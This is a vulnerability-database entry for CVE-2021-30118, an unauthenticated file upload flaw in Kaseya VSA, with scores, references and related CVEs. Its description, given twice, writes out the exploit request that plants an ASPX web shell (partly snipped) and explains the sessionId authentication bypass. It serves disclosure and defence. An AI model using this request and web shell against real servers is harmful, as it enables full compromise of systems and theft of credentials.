CVE-2021-30118— Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
Quick assessment
Affected
n/a n/a
Exploitation
Public or AI PoC available; prioritize validation
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.
Kaseya VSA RMM是瑞士卡西亚（Kaseya）公司的一套远程监控和终端管理解决方案。 Kaseya VSA Unified Remote Monitoring & Management 9.5.5之前版本存在代码问题漏洞。攻击者可利用该漏洞远程执行代码。
Public Exploits 1
Nuclei · 1
CVE-2021-30118.yaml [template]
Possible ATT&CK Techniques 3 AI
T1078 · Valid Accounts T1190 · Exploit Public-Facing Application T1505.003 · Web Shell
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I. Basic Information for CVE-2021-30118
Vulnerability Information
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Vulnerability Title
Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
Source: CVE Program / CVE List V5
Vulnerability Description
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
N/A
Source: CVE Program / CVE List V5
Vulnerability Title
Kaseya VSA RMM 代码问题漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Kaseya VSA RMM是瑞士卡西亚（Kaseya）公司的一套远程监控和终端管理解决方案。 Kaseya VSA Unified Remote Monitoring & Management 9.5.5之前版本存在代码问题漏洞。攻击者可利用该漏洞远程执行代码。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)
Affected Products
| Vendor | Product | Affected Versions | CPE | Subscribe |
|---|---|---|---|---|
| - | n/a | n/a | - |
|
II. Public POCs for CVE-2021-30118
| # | POC Description | Source Link | Shenlong Link |
|---|---|---|---|
| 1 | An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request- ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host- 192.168.1.194 Cookie- sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length- 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise. | https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30118.yaml | POC Details |
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Other References for CVE-2021-30118 (4)
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https://csirt.divd.nl/DIVD-2021-00011 x_refsource_CONFIRM
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https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ x_refsource_CONFIRM
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https://csirt.divd.nl/CVE-2021-30118 x_refsource_CONFIRM
Same Patch Batch · n/a · 2021-07-09 · 48 CVEs total
| CVE-2021-30116 | 10.0 CRITICAL | Unauthenticated credential leak and business logic flaw in Kaseya VSA <= v9.5.6 |
| CVE-2021-30120 | 9.9 CRITICAL | 2FA bypass in Kaseya VSA <= v9.5.6 |
| CVE-2021-30117 | 9.8 CRITICAL | Authenticated SQL injection in Kaseya VSA < v9.5.6 |
| CVE-2021-23405 | 8.3 HIGH | SQL Injection |
| CVE-2021-30201 | 7.5 HIGH | Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6 |
| CVE-2021-30121 | 6.5 MEDIUM | (Semi-)Authenticated local file inclusion in Kaseya VSA < v9.5.6 |
| CVE-2021-30119 | 5.4 MEDIUM | Authenticated Authenticated reflective XSS in Kaseya VSA <= v9.5.6 |
| CVE-2020-25877 | Blackcat Cms 跨站脚本漏洞 | |
| CVE-2021-33795 | Foxit Reader和Foxit PhantomPDF 安全漏洞 | |
| CVE-2020-25875 | Codoforum 跨站脚本漏洞 | |
| CVE-2020-25876 | Codoforum 跨站脚本漏洞 | |
| CVE-2020-25394 | moziloCMS 跨站脚本漏洞 | |
| CVE-2020-35987 | Rukovoditel 跨站脚本漏洞 | |
| CVE-2021-35358 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-35361 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-35360 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-36371 | Emissary-Ingress 信任管理问题漏洞 | |
| CVE-2021-33214 | Hms Networks eCatcher 安全漏洞 | |
| CVE-2021-33792 | Foxit Reader 和 Foxit PhantomPDF 缓冲区错误漏洞 | |
| CVE-2021-27038 | Autodesk Design Review 安全漏洞 |
Showing top 20 of 48 CVEs. View all on vendor page → →
IV. Related Vulnerabilities
V. Comments for CVE-2021-30118
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